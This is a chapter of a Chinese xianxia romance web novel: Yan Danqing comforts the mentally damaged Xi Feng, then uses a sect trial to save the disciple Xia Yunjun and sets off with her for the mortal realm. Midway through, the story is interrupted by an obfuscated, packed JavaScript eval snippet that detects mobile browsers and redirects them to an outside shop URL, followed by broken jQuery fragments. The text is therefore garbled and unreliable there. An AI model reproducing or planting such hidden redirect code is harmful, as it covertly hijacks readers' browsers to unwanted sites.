席江藤从远处跑来，一把扯过席枫手腕，力道之大几乎令他踉跄：“你乱跑什么！”


    他面容憔悴，双眼布满血丝，衣袍上还沾着未干的药渍，显然彻夜未眠。


    看到雁丹青他微微一愣，淡淡道：“你眼睛好了？”


    为何席江藤对她的态度未变？他不知道席枫是因谁变成这样吗？


    雁丹青心中疑惑，点点头问他：“他这是怎么了？”


    席江藤狐疑地瞥了她一眼，简洁明了道：“魔族欲对魏长老图谋不轨，他为救魏长老受伤，心智受损。”


    看来雁识渊和青来是坐实了魔族的罪名，连席江藤都不知道真相，怪不得他对她的态度没什么变化。


    席枫却在此时挣扎起来，动作幅度极大，双眸执拗地盯着雁丹青，再一次向她递出手中草环，他扁着嘴，声音带着哽咽：“丹青，我以后再也不欺负陆西辞了…”


    看他这副样子，雁丹青喉头微哽，她与席枫儿时一同长大，他如今变成这副模样，即便是罪有应得，此刻也有些令人唏嘘。


    席枫欺负陆西辞的后续，她早已不记得，席枫与她作对、争比的时间太久，旧日记忆早已模糊成褪色的绢帛。


    翠绿的草环躺在他洁白的手掌中，雁丹青抬手轻轻接过，指尖触到草茎的瞬间，席枫咧开嘴，破涕而笑，眼眸微微弯起，蓄在眼眶中的泪水滚落，在阳光下折射出细碎微光。


    她从未见过他笑得如此纯粹，一时间竟不知如何回应他。


    席江藤见席枫终于安静下来，略一颔首，哄着席枫便要回去，身后传来雁丹青的声音：“他…还会恢复吗？”


    他脚步一顿，背影微僵，半晌才低声道：“不知道。”


    席江藤的背影有些佝偻，右手紧紧牵着席枫，看着两人离去的背影，雁丹青只觉得自己眼眶有些干涩。


    她想起失明时席枫两次深夜探望，或许，这是他最好的结局。


    不必再在意众人的目光与议论，不必再背负爱而不得的痛楚，永远停留在最美好的记忆中。


    暖阳下，清风拂过她微凉的面颊，草环上残留的青涩气息悄然萦绕鼻尖。


    门主殿内。


    雁丹青一袭红衣站在石阶上，黑色长鞭围在腰间，面色冷峻如霜，目光凉凉地扫过在场众人。


    仙门众多弟子立于石阶下，皆屏息垂首，直到雁识渊的身影出现在石阶尽头，他神色肃穆，缓缓在高台之上落座。在他身后，青来脸色阴沉，慢慢立于雁识渊身侧，一双狭长的眼眸如淬寒冰。


    不多时，夏允君被绑着双手押至阶前，麻绳深陷腕肉，她却昂首不惧，一副视死如归的模样。


    雁丹青眸色一暗，高声道：“夏允君，你身为仙门弟子，私自放走戴罪的魔族，你可知罪？”


    不等她回答，众弟子交头接耳的声音已如沸水般嗡嗡作响，“叛徒”，“奸细”等字眼在人群中响起。


    “弟子…知罪。”夏允君垂首道。


    “门主，我儿因魔族心智受损，请门主严惩叛徒，为我儿讨回公道！”席江藤声音嘶哑，目光如锋利的刀刃，恨不得亲手将匕首刺入夏允君心口。


    雁丹青神色不变，对着阶下的身影继续道：“你乃我仙门弟子，自小便在我仙门长大，为何要做出此等背叛之事？”


    夏允君一怔，她已经跟雁丹青解释过，可雁丹青却像全然忘却似的，大庭广众之下，又将这问题抛向她。


    她突然想起雁丹青离开地牢前对她说的话，“记住你说的缘由。”


    是想让她当众揭露真相吗？还是……？


    不等她开口，雁丹青已缓步走下石阶，红衣翻飞如焰，站在她面前：“夏允君，你是青来长老的亲传弟子，自小受仙门的庇护，如今我仙门有长老陨落，你还想隐瞒？”


    夏允君身形一颤，雁丹青说青来时，语气微重，她或许知道她是什么意思了。


    “弟子自被青来长老带回仙界，自幼受仙门庇护，绝不会做对仙门不利之事，放走魔族只因弟子娘亲死于仙魔交战，弟子不愿看两族交战，伤及无辜，不得已才出此下策！”她一字一顿，声音清越，仰头直视高台。


    席江藤听了她的话，猛地站起身：“妖言惑众！魔族杀害我仙门长老，伤我仙门弟子，你放走他们还说什么怕两族交战，伤及无辜？”


    “魏长老的死，席枫的伤，谁能证明是魔族所为？此事本就蹊跷，未查明真相便贸然围困魔族，实在有损我仙门清誉！”夏允君即使跪着也不甘示弱，一针见血指出此事的疑点，话音一出，围观众弟子皆窃窃私语讨论起来。


    雁丹青高声打断全场喧哗：“你私放魔族是事实，按照门规，应废除修为，贬黜仙门！”


    说罢，她抬头望向雁识渊，面上毫无波澜，语气冷峻：“门主，夏允君罪证确凿，依律当废除修为，贬黜仙门！但魏长老之死，席枫之伤，她万死难辞其咎，属下认为，不如将她做成人傀，潜入魔族，探听消息。”


    此言一出，满殿哗然。


    “人傀术法有违天理！”


    “是啊，那等邪术，怎么能存在我仙门。”


    “她是叛徒，活该！”


    “太残忍了，雁殿主怎么如此心狠手辣？”


    高台之上，雁识渊面色骤然阴沉，胸膛起伏，目光死死盯着雁丹青，她故意当着众弟子提出人傀，仙门一向以正道自居，她这是拿着众人的道德软肋逼他从轻处罚夏允君。


    他闭了闭眼，强压着怒火，咬牙训斥她：“放肆，仙门乃是正道之首，岂容此等悖逆邪术玷污门风！”


    雁丹青被他训斥，面上一白，急忙单膝跪地请罪：“属下知错，此事是属下一时昏聩，这夏允君虽是罪无可赦，但出发点却系出于不忍苍生涂炭，不如让她戴罪立功，与属下一同前往人间，探查林昭失踪之事。”


    她早已为夏允君铺垫好一切，林昭失联也让她忧心，来之前她便想好，要亲自去人间探查灵兽之事。


    不知是谁突然在人群中说了一句：“这等大事，怎么不见神尊？”


    此言一出，立刻有弟子附和：“对啊，怎么不见神尊啊？”


    在众人的议论声中，雁丹青撩起眼皮朝雁识渊望去，声线陡然拔高：“属下听闻神尊为救席枫，也在此事中负伤。此次若真是魔族所为，魔族究竟有何能力，竟然能伤到神尊？！门主，这事实在蹊跷！”


    青来站在雁识渊身侧，眉头紧紧蹙起，雁丹青这时候提沈寂尘，又编排出他负伤一事，分明是欲将水搅浑，她到底想干什么？


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144024|195537||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不等他细想，雁丹青起身提议道：“我刑律殿中弟子在人间失联，具体情况……尚未可知，眼下查清魏长老遇害一事又迫在眉睫，属下恳请门主允准，让夏允君戴罪立功，与我前往人间，魏长老一事，属下建议由青来长老彻查。”


    她故意不说林昭因灵兽一事而失联，只字不提灵兽暴动，就是想以此威胁雁识渊和青来，众多弟子面前，料他们不敢当场点破魏明之死因的真正缘由。


    青来面上不动，垂下眼遮挡眸中冷意，他这个徒弟，当真是长大了。


    她一番话说得有理有据，众人纷纷点头附和，连其余的几位长老也未出言反对。


    雁识渊一甩衣袖，也明白雁丹青是以他们欲炼化神尊嫁祸魔族为把柄，逼他让步。


    “就按你说的办。”


    言罢，他起身离开。


    众人皆散，雁丹青目送雁识渊背影消失于云阶尽头，唇角轻轻一扬，提议青来去查魏明之的死，这事最终只会如泥牛入海。


    夏允君还跪在地上，双肩微颤，却未抬头，一滴滴泪珠砸在青砖上，洇开深色水痕。


    她上前解开夏允君腕上禁锢，叹了口气安抚她：“昨日只是做做样子，没事了。”


    说着，她抬手拂过夏允君鬓边散落的碎发，指尖轻点她的脸颊，动作轻柔，“我信你。”


    将夏允君从地面扶起，她语气多了几分凝重：“林昭在人间失联，我们即刻动身去往人间，你回去收拾一番，午后在仙门等我。”


    夏允君收了眼泪，点点头，正欲转身离去，又突然顿住，“神尊呢？你不跟他说？”


    雁丹青没想到她突然这么问，神色一僵，沈寂尘现如今已恢复不少灵力，不再需要人日夜保护，两人因魏明之的事生了嫌隙，要跟他说吗？


    想到他那日看她的眼神，他是神明，从不曾沾染鲜血，是她骗了他，让他亲手沾染了鲜血，让魏明之在他眼前被抽干灵力。


    他会对她失望，也会因此厌恶她。


    或许就连之前说的嫁给他，也会被他收回。


    雁丹青喉间一紧，垂在袖中的手指缓缓攥紧。


    但她，不后悔。


    缓缓摇了摇头，“不必告诉他。”


    说罢，她转身向藏书阁走去。


    陆西辞早就在藏书阁等候多时，门主殿散去时他便传音让雁丹青来此。


    “师兄。”雁丹青踏入藏书阁，陆西辞正立于悬空书架前。


    “来了，此番去人间，务必小心。”陆西辞说着，递给雁丹青一个包袱，道：“这里我放了些丹药和符咒，你能用得上。”


    从藏书阁走出，日已中天，雁丹青朝着仙门走去，一路上都在回想刚才阁额顶楼看到的一幕。


    沈寂尘独自坐在窗边，那只雪白的猞猁在他脚边打盹，明媚的阳光洒在他素白的衣袍上，他气色好多了，雁丹青想。


    夏允君早就等在仙门石阶下，青衫微扬，见雁丹青来了，便迎上前去。


    雁丹青抽出腰间长鞭化为长剑，踏上悬浮的剑刃，“走吧。”


    “再，再等等吧。”夏允君仰头望天，踌躇着开口。


    雁丹青正欲问她等什么，远处天边一抹熟悉的身影踏云而来，衣袂翻飞如雪，雪白的猞猁立于他肩头。